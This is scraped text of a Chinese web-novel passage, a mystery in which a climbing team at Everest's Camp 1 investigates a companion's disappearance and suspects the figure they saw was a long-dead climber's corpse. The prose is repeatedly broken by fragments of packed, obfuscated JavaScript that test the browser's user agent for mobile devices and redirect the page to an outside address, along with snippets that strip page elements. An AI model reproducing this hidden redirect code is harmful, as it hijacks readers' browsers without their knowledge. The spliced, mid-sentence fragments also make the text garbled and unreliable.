l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201057|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 无论是攀登二峰还是雀儿山的时候,无论是主动还是被动,锦里总会接触到一些发生在雪山上的血腥事件,而她坚信,这些事件都是老徐在背后推波助澜,目的就是让她了解到登山的残酷之处,从而放弃重返雪山。 但为什么这次攀冰,她什么都没有遭遇到? 是老徐放弃阻止她了吗? 比起这个推测,锦里更愿意相信他是因为某种原因而没能作出相应的安排。 什么原因呢? 这次攀冰跟以往的登山活动比起来,有什么不一样的地方? 锦里闭上眼睛,冥思苦想,终于在某个瞬间,她将一切都想通了! 是队友。 以往每次报完名,锦里都会在群里发布接下来的行程安排,所以其他队员都能够及时知道。唯有这次攀冰,她不知怎的忘记了这件事,直到临近活动时间才想起来,导致其他队员也是在那个时候才知道具体的活动日期。 老徐要在她身边制造“雪山事故”,有一个前提,他必须对锦里的活动行程知道得一清二楚,但前几次锦里并没有告诉他太多详情,他是怎么知道的呢? 只有一个可能,那就是8848登山队里的某个人告诉他的,除了锦里,只有他们才能做到这一点。 这意味着她的队友中,有某个人是老徐的帮手,一直在帮他引导着她。 而这次攀冰活动,因为锦里通知得不及时,那个人也知道得不及时,导致老徐来不及做出任何安排。 所以锦里才会感觉到违和。 她终于想明白了。 “明年,我要去珠峰了。” 这一次,锦里主动将电话打给了老徐,她要主动出击,将老徐跟他的帮手揪出来。 她不必解释太多,一直暗中关注业内新闻的老徐,一定早已知道了尼泊尔政府新推出的这项活动。 果然,听闻此言,老徐只说了两个字:“是吗?”他没有追问更多,只是嘱咐锦里注意安全,提前做好准备。 都是些稀松平常的话语。 “这次你不反对我去了吗?”锦里忍不住问道。 “唉……你这孩子,”老徐叹了口气,声音仍旧很平静:“我说不让你去,你就会不去吗?” 锦里无言以对。 挂断电话后,她的思绪仍旧久久不能平静。 不仅是因为她猜不透老徐下一步会做什么,珠穆朗玛峰,对于锦里来说,也是一个未知的全新领域。 她从来没有去过。 十年前,她还太年幼,到过的最高地方就是慕士塔格峰的7546米,当时如果继续照那个势头发展下去,也许五年后,十年后,她会跟着老徐以及其他队友一起,站在8848米的高度……然而,木格的事就像横亘在心头的一根刺,将一切直直截断,戛然而止。 此后,对于锦里来说,时间就仿佛永久停留在了那一刻,她的人生高度,也永久地停留在了7546米。 十年后,阴差阳错般,她等到了一个前往珠峰的机会,这一刻,停滞的时间开始向前流动,仿佛是种预兆,僵持十年的木格失踪事件,似乎终于到了即将真相大白的时刻。 20. 替身死者② 3 没有登山的日子里,一切都是那么的平淡无奇,每一天都过得千篇一律。这些日常生活并没有在锦里的心中留下太多痕迹,她每天要么是在查阅珠峰信息,要么是在跟群里的队友们互动,她没有工作,所以更有闲工夫将准备做到最好。 每天重复同样的事,时间就像按了快进键一样。 不知不觉,就来到了第二年的四月份。 8848登山队的队员再一次集合了。这次他们没有再跟着商业队走,因为根据锦里查到的消息,当地有很多夏尔巴向导,他们带队登珠峰的经验十分丰富,所以队伍决定到时候直接聘请几个夏尔巴向导。 所以当队伍在没有人带队的情况下来到珠峰大本营的时候,所有人都惊呆了。 这里的景象,超乎所有人的想象。 “太大了吧……”不知是谁感慨了一句。 没错,就是大,珠峰大本营驻扎了数不清的队伍,一眼根本看不到尽头,一只又一只的帐篷错落分布着,行走在其间,就像置身一个小型村落中。 珠穆朗玛峰是世界最高峰,也是无数攀登者心中的神圣殿堂。虽然每年都会有人在攀登途中丧生,身体永久地留在了珠峰之上,但年复一年,仍旧有无数的人前仆后继来这里朝圣,尤其是五月攀登季,这里的攀登盛况更是在其他山峰根本想都想不到的——此时他们才真正意识到这一点。 珠峰大本营汇集了来自世界各地的登山者。 听说由于今年尼泊尔放宽了珠峰的攀登许可,共有上千名队员获准进入珠峰营地,再加上商业团队的工作人员以及当地的夏尔巴向导,大本营此刻估计有数千人存在。 锦里一行人到了大本营后就开始忙着找地方扎营,好不容易把住的地方拾掇好,他们又开始四处寻找夏尔巴向导。夏尔巴向导就跟之前见过的藏族协作一样,从小生活在高海拔地区,对于登山拥有与生俱来的天赋。 他们常年通过带队赚取生活费用,经验十分丰富,很快,擅长与人沟通的摩羯鱼就跟两名夏尔巴谈妥了条件,那两名夏尔巴也正式成为了8848登山小队的带队向导,他们的名字分别是明玛和卡米。 对于其他人来说,要听懂两名向导的话并不容易,不错,明玛跟卡米常年从事这项工作,已经很习惯用英语跟来自世界各地的人交流沟通,然而他们的口音很重,锦里等人又是第一次出国,口语能力并不强,只有时常走南闯北的摩羯鱼跟向导沟通起来没什么压力。 在摩羯鱼的帮助下,他们明白了明玛接下来所说的话,他说,因为锦里几人只是来体验珠峰攀登,并不是冲着登顶来的,所以不必像其他要冲顶的队伍那样,苦苦等候窗口期的到来。 “只要当天的天气合适,我们就可以试着往上走走。” “要走到什么海拔看你们,只要不是太高,就都没问题。” “那明天合适吗?”花城磕磕绊绊地问道。 明玛跟卡米对视一眼,两人都点了点头:“可以。” 于是他们的行程就这样定下来了,今天在大本营休整,明天开始攀登,当天去当天回来。 忙完这一切,大家终于可以停下来喘口气了。 “唉,好累哦!”花城已经在帐篷里铺好自己的防潮垫和睡袋,此刻正躺在上头,闭上眼睛假寐,“我好像有点困了……” “我也有点累,要不我们先睡个午觉?”夏晴天一边说,一边看向锦里。 锦里正要开口,花城突然笑着插嘴说:“大本营这么热闹,锦里应该很想四处去逛逛吧。” “你怎么知道?” 锦里很惊讶。 “被我猜中了吧?”花城嘿嘿一笑:“其实很好猜啊,珠峰是登山人心中的神圣殿堂,跟我还有夏姐这种只登了两座山的人相比,你登过那么多座山,我想珠峰在你心中的地位肯定很不一般吧,所以第一次来到珠峰,你肯定不想错过任何一个好好看它的机会,我说的对吗?” “是这样没错……” 锦里仍旧处于震惊之中,她没想到花城竟然把她看得那么透彻。 在一旁默默聆听的夏晴天突然来了兴致,追问花城:“那你说说,摩羯鱼、惊蛰还有游人,他们三个中谁会跟锦里一样,按耐不住立即跑出去闲逛?” 此时那三人并不在此地,他们住在另一只帐篷里。 “这也很简单啊,”花城仍旧充满自信,“初次见面的时候摩羯鱼就说过,他很喜欢到处游玩,攀登二峰跟雀儿山的时候,他也一直走在队伍的前列,他是一个精力充沛的人,所以我想,他肯定也会跟锦里一样,不放过任何探索珠峰的机会!至于其他两个嘛,他们的体力比我稍微好些,但也算不上太好,所以他们有可能在帐篷里休息,也有可能被摩羯鱼拉着一起出去也说不定。” 事实就像花城所说的那样,锦里刚一掀开帐篷,就看到了站在她眼前的摩羯鱼、惊蛰还有游人三人。 摩羯鱼一看到她就说:“太好了,我刚正想去找你们嘞,怎么样,要不要一起在这附近走走?” 锦里往身后指了指,解释道:“我是没问题,但她们太累,想先睡个午觉。” “这两位本来也想在帐篷里休息一会儿,我把他们都拖出来了。”摩羯鱼也指了指身旁的惊蛰跟游人。 于是六人行变成了四人行。 “往哪个方向走?”摩羯鱼紧接着又问道。 难怪他会这么问,因为放眼望去,无论左边还是右边,前边还是后边,都是一堆五颜六色的帐篷,看不出什么分别,似乎哪边都一样。 惊蛰跟游人都耸耸肩,表示随便。 锦里原本也要脱口而出“随便”两个字,但她突然改变了想法,伸手往右边一指,说:“我们去那边看看吧。” 其他人都没有异议。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201058|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沿途走过去,他们看到了很多来自不同国家的不同肤色的攀登者,在对珠峰的受欢迎程度有了更深一层认知的同时,他们一直没有找到机会停下脚步,因为还没有看到跟他们相同肤色的黄种人。出门在外,果然还是同乡更让人感觉亲切。 十来分钟后,几个亚洲面孔终于出现在视线中,四人连忙走过去,幸运的是那几人正是他们的同胞,双方一见面,彼此都有些激动。 “看到今年尼泊尔政府推出了这个新的活动,让普通人也能体验珠峰攀登的过程,我们就赶紧提交了申请,否则错过这次机会,还不知道什么时候才能见到珠峰呢!”说话的是一个身穿红色羽绒外套的年轻女孩儿,她的人就像她的穿着一样热情洋溢,“你们就叫我小柒好了,旁边这两个是我的哥哥,这是大哥雄一,这是二哥修二。” “亲生的?”摩羯鱼有些惊讶地说,“看起来他们年纪比你大很多。” 雄一闻言笑着摸了摸小柒的头:“她是爸妈的老来女,在家很受宠的。” 修二也跟着笑了,说:“没错,就因为她想来珠峰,父母就非得让我们跟着来,还叫我们一定照顾好她。” “珠峰绝对值得来好不好,有的攀登者都化作尸体,永远地留在了山上呢!再说,我这是在想办法帮你们放松一下,你们平时工作那么忙,难得有机会出来玩一玩的!”小柒辩解了几句,然后自己忍不住先笑了。 大家也跟着笑成一团。 “说起来也巧,其实我们几个也是来体验珠峰攀登过程的。”笑过之后,外向的摩羯鱼立即将他们的情况简单介绍了一下,听得小柒连连惊叹。 “好巧哦!” “对了,”游人突然拍了拍摩羯鱼的肩膀,“问问他们夏尔巴向导的事。” 锦里突然心中一跳,是她的错觉吗?为什么事情的发展又渐渐开始跟过去重叠了…… “什么夏尔巴向导?”小柒表示不解。 摩羯鱼这时反应过来,说:“看来你们还没找向导,那谁来带你们往上走?” 雄一接过话茬,解释道:“我们刚刚把帐篷搭好,本来打算一会儿就去找的。” 锦里觉得,心中的那股预感似乎愈发强烈了…… “不如一起走?我们刚已经找好了两个夏尔巴向导,如果你们要一起的话,我就去跟向导说一声。”摩羯鱼的话使锦里的预感应验了,就跟过去的两次攀登经历一样,8848登山队,总会跟其他的队伍扯上关系。 前两次遭遇的夏梦事件与凯特事件,都是人为推动的,幕后推手就是锦里的父亲老徐。这次呢? 往右走的提议是锦里说出来的,当时她就是因为想到了老徐跟他的帮手,在不知道那个帮手是哪位队友的前提下,为了不落入他们可能设下的“圈套”之中,她才决定自己选择前进的方向,在这样的情况下,小柒三人的出现,究竟是巧合还是注定? 21.替身死者③ 4 小柒答应了摩羯鱼热心的提议。 是啊,在这里难得遇到同胞,大家又相谈甚欢,她没理由不答应,雄一跟修二也没理由拒绝备受宠爱的妹妹的选择。 “那就这么说定咯。”游人笑眯眯地说道。双方交换了联系方式,又约定了明天早上一起出发的时间,两队这才分手。 锦里一行人开始往回走,算算时间,差不多该准备吃晚餐了。 回去路上,很神奇的,他们碰到了原本声称自己很累、要在帐篷里午休一下的花城,她正连说带比划地跟今天刚认识的夏尔巴向导明玛沟通交流着。 “嘿!你们在说什么?”摩羯鱼几步走过去,拍了拍花城的肩膀。 “没什么,”花城跟明玛挥手作别,两人的交谈似乎刚告一段落,“他刚刚来帐篷找我们,我看夏姐睡得熟,不想打扰她,所以就跟明玛来到外面说话。明玛跟我说了明天的攀登计划,我们的目标似乎是穿过昆布冰川,上到海拔6000米左右的一号营地,然后明天我们需要在凌晨两点起床,吃早餐、收拾装备……大概就是这些。我正准备去找你们,告诉你们这件事呢!” “昆布冰川!”锦里有些惊讶。 “怎么了?” “不,没什么,只是我之前稍微了解过,听说昆布冰川是移动性冰川,很危险,迄今为止已经有上百人在那里丧命……” 此言一出,大家都安静了下来。 片刻之后,摩羯鱼才耸耸肩,笑道:“没办法,这儿好歹是珠峰,大家伙儿早就知道它很危险,也早就做好了心理准备,是这样不?” 确实,就像摩羯鱼所说的那样,自从决定要来体验珠峰攀登的过程,他们已经了解过,每年总会有人在珠峰丧命,不是没有原因的,它本身就是一座极具危险性的高峰。 “既来之,则安之。”缓了缓神,游人的脸上再度出现了笑容。 花城跟锦里也相视一笑,放宽了心。 放松下来之后,游人突然想到一件事:“诶,我们不是正要找向导吗,刚刚怎么把明玛放跑了?” “找他干什么?”花城不解。 锦里于是跟她解释了偶遇小柒、雄一和修二以及和他们约好明天结伴同行的事,正说着,不知何时消失的惊蛰又默默出现在了大家面前。 惊蛰推了推自己鼻梁上的眼镜,还是一样的言简意赅:“我跟明玛说过了,他说多带三个人也行,可以一起走。” 看来刚刚花城跟明玛挥手作别后,就是他意识到了还有这个问题没有解决,于是追了上去,拦下了明玛。 现在只需再将明早的出发时间告知小柒三人,一切就都安排妥当了。 第二天,锦里是被帐篷外的说话声吵醒的。 凌晨两点钟,万籁俱寂,说话的声音因此显得格外突兀。这不是锦里第一次摸黑起床,她一边熟练地坐起身穿衣,一边叫醒睡在身边的夏晴天,等她穿戴整齐走出帐篷,发现比她起得更早的花城正在跟昨天有过一面之缘的小柒有说有笑,刚刚听到的说话声想必就是她们所发出的。 “早啊!” 锦里出帐篷的动静惊动了她们,小柒笑着对她挥了挥手,锦里发现她还穿着跟昨天一样的红色羽绒外套。 “早。”锦里走过去,花城一见到她就劈里啪啦说了一大堆话,锦里这才知道,原来小柒跟她的两个哥哥很早就收拾整齐来到了这边,他们已经见过了明玛跟卡米,进一步确定了今天的行程,现在雄一跟修二正在不远的地方,跟着摩羯鱼等人帮忙做早餐。 正好此时夏晴天也出来了,四名女孩儿于是结伴去找大部队汇合。 之后的行程跟以前的攀登没有什么不同,他们吃过饭,在两名夏尔巴向导的带领下列队正式出发,明码带队,卡米收尾。 但是值得注意的是,锦里发现除了他们以外,这个时间点没有其他队伍一起出发,这是为什么? 她用磕磕绊绊的英语询问了明玛,明玛回答说:“虽然大本营有很多支队伍,但大部分都跟你们不同,他们的目标是登顶珠穆朗玛峰,由于最近天气状况一直不太好,他们在等待合适的窗口期,今天不合适,所以他们需要继续等待。” 大意如此,锦里听明白了。 让她觉得不可思议的是,离开大本营后,沿途他们真的没有见到一个其他队伍的人,这样的状况让锦里感觉忧心,才过去不久的凯特事件在她脑海中回荡,这次是不是也会…… 但是很快,她没有余力再胡思乱想。 因为,他们即将进入危险重重的昆布冰川,它还有个别称:“恐怖冰川”。 5 “恐怖冰川”,顾名思义,光是想象都能知道这个地段有多么恐怖。之前也说过,迄今为止已经有上百人在此处丧命,因为这是一座移动性冰川,它随时都在变换自己的位置,只有在温度最低的时候通过才相对安全,否则冰在温度高的时候是最容易掉落的,人也容易因此受伤,这也是为什么队伍要选在凌晨两点出发。 进入昆布冰川,就像走到了迷宫里一样,路线很复杂,转来转去的,起初每个人的神经都紧绷着,生怕遭遇到什么突如其来的危险。但是,一个小时过去了,两个小时,三个小时……随着时间的流逝,队伍仍旧在重复兜着圈子,大家渐渐都麻木了,只知道机械地跟在明码身后。 冰川上裂缝很多,每一条必经的裂缝上都架设有梯子,大家不停地转弯,爬梯子,再转弯,再向上爬。 四个小时,五个小时,六个小时…… 天光渐渐大亮。 锦里终于看清了其他队员的样子,他们每个人都气喘吁吁的,已然疲惫到了极点。摩羯鱼一张脸涨得通红;惊蛰正在拧开手中的瓶盖,准备补充水分;游人一向充满笑意的脸庞此时也憔悴苍白了起来,再顾不得做任何表情;夏晴天在翻找自己的背包,也许是想吃些东西补充体力吧;花城弯着腰猛喘气…… 还有昨天刚认识的新朋友雄一、修二跟小柒,因为他们在队伍的末端,距离太远,锦里看的不是很真切,只能很模糊地发现:小柒似乎很累,一副体力不支的样子,两个哥哥虽然有心想照顾她,但却有些自顾不暇,他们自己都在猛喝水。锦里看到,修二喝完水后转身碰了碰小柒的手臂,想把水递给她,但小柒只是很轻地摇了摇头。 锦里自己当然也很累,她心想,不愧是珠穆朗玛峰,不愧是“恐怖冰川”,虽然很难,但却令这么多人趋之若鹜。不过现在最要紧的是休息,大家都很累了,锦里正想问前头的明玛路程还有多久,就看到缀在队伍最后的卡米走了过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203511|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡米跟明玛简单地交谈了几句,就继续往前去了,这一举动吸引了所有人的目光,大家都转头看向明玛。 “一号营地就快到了,”明玛言简意赅地解释了一句,“卡米先行一步,为大家搭建帐篷。” 这个消息令整个队伍精神为之一振。 之后他们又转悠了数十分钟,终于顺利通过了昆布冰川,来到一片稍显宽阔的平台上,那就是一号营地扎营的地方了。 出现在眼前的,恐怕是比一座足球场还要大的白茫茫的雪地,很难想象在险峻的珠峰山体上,会存在这样一块空地,这里除了他们,没有其他任何一个人,因此整个营地更加显得宽广宏伟了。 “好奇怪,虽然刚刚我们一路上都没有碰到其他队伍,但没想到到了营地,也没看到其他队伍的影子。” 花城说着,在锦里身边坐了下来。 因为帐篷还没有搭好,锦里没有力气帮忙,为了不在一旁碍手碍脚,她在附近找了一块凸起的岩石坐着休息,同时看着不远处同伴们四处活动的身影。 听到花城的话,她想了一下,心里渐渐有了答案:“因为……跟我们一样,只是想来体验珠峰攀登的队伍很少吧?” “很少吗?”花城呆呆地反问道,“难得尼泊尔政府推出这样的活动,我还以为参加的人会很多呢,听说今年大本营不是进来了上千名队员吗?” 锦里闻言耸了耸肩:“我原本也是这样认为的。但是仔细想想,自尼泊尔推出‘体验珠峰攀登’的活动后,到现在也才短短一年左右的时间,要在这么短的时间内打乱既定的攀登计划、下定决心出国来到这里、还要准备充足的资金,虽然比攀登完整的珠峰花费更少,但也是一笔不小的数目了——能做到这样的队伍没几个吧?” 随着锦里的描述,花城跟着想了想,随后不得不认同了这个观点。 “所以,能恰巧碰到小柒他们,也是我们走运了。”锦里一边说,一边微笑着看着不远处正凑在一起烧开水的雄一跟修二。 不只是他们,其他人也在忙个不停:摩羯鱼跟惊蛰似乎还有余力,在帮着明玛跟卡米一起搭建第四只帐篷,很快即将大功告成;夏晴天跟游人这对队伍成立前就已相识的老朋友,则默契地翻出了背包里的泡面,他们站在雄一跟修二的身边,只等水一烧开,就将大家的午餐扔下锅去;至于小柒呢?锦里四处环顾一周,终于在几只黄色帐篷的背后发现了她的影子,她背靠岩石坐着,只露出半个身穿红色羽绒服的肩膀。 “看来小柒跟我们一样累极了,所以没有过去帮忙,而是坐在一边休息。” “什么?”花城左看右看,完全没发现小柒的踪影。 确实,小柒所呆的那个位置十分隐秘,在一块大大的岩石背后,前面又有一排帐篷挡住视线,她本人也只露出了一小部分身体,要发现她实在很不容易。锦里伸手指了指,花城才顺利看到。 “那我们要过去找她吗?” 锦里正要开口回答,突然觉得脸上一凉,她伸手抹了抹,手上是一道晶莹的水痕,再抬头一看,点点白花正从天空中缓缓飘落。 “下雪了……” “真的诶,好像越下越大了!” “糟了,我们快过去帮忙,至少要在雪下大之前将帐篷搭好!” 22.替身死者④ 6 突如其来的落雪打乱了众人的计划,随着阵阵风声呼啸而过,之后的情形开始变得有些混乱。 事后回想起来,锦里只记得耳边充斥着“快快快!”“还差一点点!”“先把背包放到空的帐篷里面去!”之类的声音,她自己在忙着搬运大家的行李,但更细节的部分却怎么也记不起来了。 原本也不需要回想起来的。 在风雪变得更大之前,大家着急慌忙地将营地收拾妥当,之后所有人就挤在同一只帐篷里,吃着半生不熟的泡面——因为煮到一半就被捞起,味道并不算太好,但也聊胜于无。 就在大家享受这难得的休息时光时,修二突然说:“小柒呢?” 他四处看了看,其他人被他带动,也跟着到处看。 锦里心中猛地一沉。 刚刚因为坐得太拥挤,一时竟没发现,直到修二突如其来的一句话,大家环顾四周,才发现,哪里都不见小柒的影子。 “小柒呢?小柒去哪儿了!”雄一猛地站起身来,修二也开始慌了。 其余人连忙开口安慰这兄弟俩,说是安慰,也只能说些无关痛痒的话:“别急,一定会没事的……” 锦里也在冥神细想,她想起在雪下大之前,她跟花城曾在一块岩石后面看到过小柒的身影,她连忙将这件事说了出来,心里却开始觉得不妙:如果小柒没出事,刚刚大家收拾营地的动静那么大,她怎么也该跟着出来了吧? 但此刻别无他法,这是小柒最后一次被人看到的地方,大家立即决定在锦里的带领下一起去寻找她。 他们冒着风雪出了帐篷,很快就来到了离帐篷不远处的一块岩石附近,锦里伸手一指,说:“就是那里!”一边说,她还一边转头寻求花城的同意,花城也跟着点了点头。 大家一起绕到岩石后面,眼前的情景既出乎意料又似乎让人早有预感。 岩石后面除了雪,什么也没有。 纯白的雪花一片一片从空中飘落,掉在岩石身上,它们形成的雪地是那么蓬松平顺,上面连一只脚印都没有。 周围也是,除了他们来的方向,连一只多余的脚印都没有。 “怎么会,她明明在这里的,就在不久前……”锦里呆住了。 其余人也呆住了。 直到此刻,他们才不得不承认,小柒失踪了,就在大家的眼皮子底下。 修二双眼泛红,已经有些陷入癫狂状态,他不停地大叫着小柒的名字,甚至还想独自一人走到别的地方去寻找她——在此时雪下得越来越大的情况下。 这个时候,作为大哥的雄一显得可靠了许多,他制止住修二的动作,冷静分析道:“既然锦里跟花城两个人都看到小柒在这块岩石后面,那就基本不存在看错的可能,所以小柒肯定是在那之后才失踪的。那之后发生了什么?因为突然下雪,大家想赶在雪下大之前把营地收拾好,所有人都不约而同加快手上的速度,这样一团乱的局面持续了一段时间,之后我们进到帐篷,就发现小柒不见了,所以——一定是有人趁着那段混乱的时间,对她做了些什么,现在我们要搞清楚的,就是这一点! “只有揪出那个对小柒下手的人,我们才能知道她现在的下落,以及……她现在是生还是死。” 随着雄一的话音落下,修二也慢慢冷静了下来。此刻这两兄弟正用冰冷的目光打量着登山小队的成员以及两名夏尔巴向导。 “等等等等!怎么?你们现在这么说,是在怀疑是我们对小柒做了什么吗?”夏晴天也不知是害怕还是想要打圆场,有些尴尬地笑着说了一句。 没想到雄一一本正经道:“你们中的某个人。” 明玛跟卡米还搞不清楚状况,只知道目前有一名队员失踪了。登山小队的成员则是面面相觑,不知道他们心中是否会有似曾相识的感觉,至少锦里已经在心里肯定了:这一定又是老徐在背后设计搞的鬼。 自己是从何时开始掉入陷阱的呢?明明从拒绝午睡、做出在大本营闲逛的决定,到在帐篷外碰到摩羯鱼、游人和惊蛰,结伴同行,再到选择走右边的道路,都是按照自己本身的意愿来的,所以认识小柒三人也应该只是偶然……为什么结果还是发生了这么离奇不详的事件? 想不明白,无论如何都想不明白。 最终摩羯鱼代表大家发表了意见,他叹了一口气,说:“好,那我们就来好好研究一下,那段混乱的时间,究竟每个人都在做些什么吧!” 7 所有人再一次挤进同一只帐篷里,只是这一次,大家的心境跟之前截然不同。 “我先来吧,”按照习惯,还是摩羯鱼第一个开口,“从头到尾我都在这儿帮忙搭帐篷。当时我记得我们穿过昆布冰川,来到营地,就看到卡米已经搭好两只帐篷了,明玛把我们带到营地后,也开始跟卡米汇合一起工作,其他队员很累,原地四散开来,我想应该是各自去找地方休息了吧,但我跟惊蛰感觉还有点儿余力,就去帮着明玛跟卡米一起搭建帐篷。”他停顿了一下,似乎是在回想当时的情景,“后来下雪了,我看到锦里跟花城在帮着把大家的行李搬进帐篷,之后大功告成,我们所有人就都进了帐篷。” 惊蛰在一旁连连点头,表示赞同。 摩羯鱼又补充了一句:“从头到尾我们四个都在忙着搭帐篷,我们可以互相作证,这样应该够了吧?” 雄一脸色难看地将目光放到了下一个人身上。锦里惊讶地发现,他看着的人正是自己,还有花城。 “我们吗?”花城愣了一秒钟,连忙解释道,“我跟锦里一直呆在一起啦!来到营地后,我们两个都觉得有点累,就在附近找了一块凸起的岩石坐着休息,因为那个地方地势稍微高一点,所以可以一边聊天一边看着大家在不远处四处活动的身影。哦,对了,刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221453|165708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚大叔——也就是摩羯鱼——他说的话都是真的,我们也可以作证,他们四个真的全程都在搭帐篷……然后我们还有看到,夏姐夏晴天、游人、雄一跟修二,你们四个在一起烧水煮面,对不对?后来下雪了,我跟锦里就去帮忙搬运大家的行李,虽然那个时候是稍微有一点混乱啦,但我们两个还是一直在一起行动,这一点我们彼此可以作证,摩羯鱼刚刚也说有看到,大概就是这样吧。” 确实如此,花城说的很好,锦里也慢慢回想起了细节的部分。 还剩夏晴天跟游人。 “我们两个应该不必过多说什么吧?”夏晴天苦笑道,“雄一,修二,我们一直在你们旁边,等着水烧开之后将面条煮进去,后来开始下雪之后,我们又一起把高压锅搬进帐篷,这些你们应该也是很清楚的。” 兄弟俩沉着脸没有回答,他们也无法反驳吧。 所以说来说去,没有一个人有机会趁乱对小柒下手。 那小柒究竟消失去了哪里呢? 半晌。 “小柒之前状态怎么样?没有什么不对劲的地方吧?”花城看着雄一跟修二,小心翼翼地问道。 兄弟俩同时愣了愣,似乎不知道该如何作答。 雪仍旧下的很大,锦里看了一眼外面,这样想到。 “啊——我不知道!”修二突然崩溃地大喊了一声,随后痛苦地捂住了自己的脸。“我不知道!她在穿越昆布冰川的后半途其实就很累了,我知道她很累,但当时我跟雄一也很累,只是调整自己的状态就已经耗尽全力,根本无暇他顾……后来好不容易来到营地,我们实在是又累又渴,水壶里的水也喝完了,我们想烧一些热水补充体力,所以就这么做了,当时小柒没有跟在身边,我以为她是自己找地方休息去了,我没有过多地去担心她,只想着等水烧开了再去叫她……如果当时我能够多注意她就好了!为什么我没有更多地去注意到她!” 听着修二的话,雄一脸上的神情也越来越痛苦:“现在再说这些已经晚了。” “不,等等!”花城突然提出疑问,“这么说,来到营地之后,我们谁也没有靠近过小柒?我跟锦里也只是远远地看到一丝她的背影。” “这是什么意思?” 被雄一和修二的眼神牢牢盯着,花城似乎有些慌张了,她连忙解释道:“我只是想说,那时候小柒是个什么状态,我们谁也不知道,我们谁也没机会对她‘下手’,说不定那时她已经精神恍惚了,于是自己从岩石后面离开,迷迷糊糊地去到了其他地方——” “可是她能去哪里?外面下着大雪,就算她再怎么恍惚,也不至于连理智都丢弃了,如果她要离开原地,也应该朝着帐篷这边走来。” 然而事实上,小柒不在这里,哪里都没有她的身影。 “或者是,还有另外一种可能……”锦里低声说着,她突然想起了凯特被杀那次事件。 23.替身死者⑤ 8 “锦里,你是不是想到了什么?” 花城听到了她的低语,急切追问道。其余人也纷纷转头看向她。 锦里做了个深呼吸,竭力镇定地表达着自己的想法:“我只是在想,我跟花城看到的那个人,真的是小柒吗?” “什么?” “仔细想想,当时我们只看到岩石后面露出半个身穿红色羽绒服的肩膀,就以为那是小柒,因为小柒也是穿着一件红色的羽绒外套,而且其他人都在我们的视线之内,我们自然下意识地以为剩下的那个岩石后的身影就是小柒的。可其实我们并没有看到那个人的正脸。” “你的意思是,那个人不是小柒吗?那还会是谁?” “怎么可能?” “整个一号营地应该只有我们这一支队伍才对!” 不出所料,大家全都对此提出了质疑,摩羯鱼为求慎重,还又向明玛确认了一遍,之后转而说道:“没错,明玛说这个营地只有我们几个人,没有其他的队伍。” 对于一号营地的情况,没有比负责带队的夏尔巴向导更清楚的了。但锦里仍旧没有动摇,接下来的话,才是她要说的重点。 “活人是没有,但是,死人就不一定了。” 一语激起千层浪,所有人都惊呆了。 “没错,我认为我跟花城看到的那个人,其实是一具死尸,是往年丧生在珠穆朗玛峰的某位攀登者的身影,巧合的是,那人也穿了一件红色的羽绒服。”锦里知道自己的想法很疯狂,但是除此之外,还有其他合理的解释吗? “我们已经知道,每年都会有人在攀登珠峰的途中丧生,将身体永久留在原地,然后慢慢被冰雪覆盖——这是因为珠峰处处都很危险,救援难度很大,尸体很难被运走——再加上去年珠峰爆发的那场不小的地震,一定有许多尸体因此露出了地面。 “而我跟花城之前看到的,就是其中的一具。” “可是——” 夏晴天似乎还想提出质疑,但因为这点微弱的希望而重新恢复镇定的雄一这样说道:“是与不是,去看看就能确认了。” 修二已经迫不及待地站起身准备往外走,其余人这才反应过来。是啊,如果那个人影真的不是小柒,那说不定她还在某个地方存活着,没有遭到袭击,一切都好好的——这才是大家想要看到的结果。 事不宜迟,所有人一窝蜂地钻出了帐篷,外面的风雪仍旧很大,但这一次,他们心中有着重新燃起的名为希望的火种。 雄一跟修二第一个奔到那块岩石跟前,这里还是跟片刻之前看到的一样:岩石被一片一片从空中飘落的纯白雪花所覆盖,形成一片蓬松平顺的雪地,上面连一只脚印都没有。 要证实锦里的推测很容易,只需将这片雪地挖开,就能知道里面是否埋藏住了什么东西。事后回想起来,面对底下可能存在着的不知是谁的尸体,当时的他们没有丝毫犹豫与胆怯,几双手就这样放在了雪面上,然后挖掘它,破坏它。 只因他们全部的心神都已跑到寻找小柒这件事情上了。 第一个发现异样的是锦里,挖了没几分钟,她就感觉到手下某种不同于雪面的触感:“等等,这是什么?” 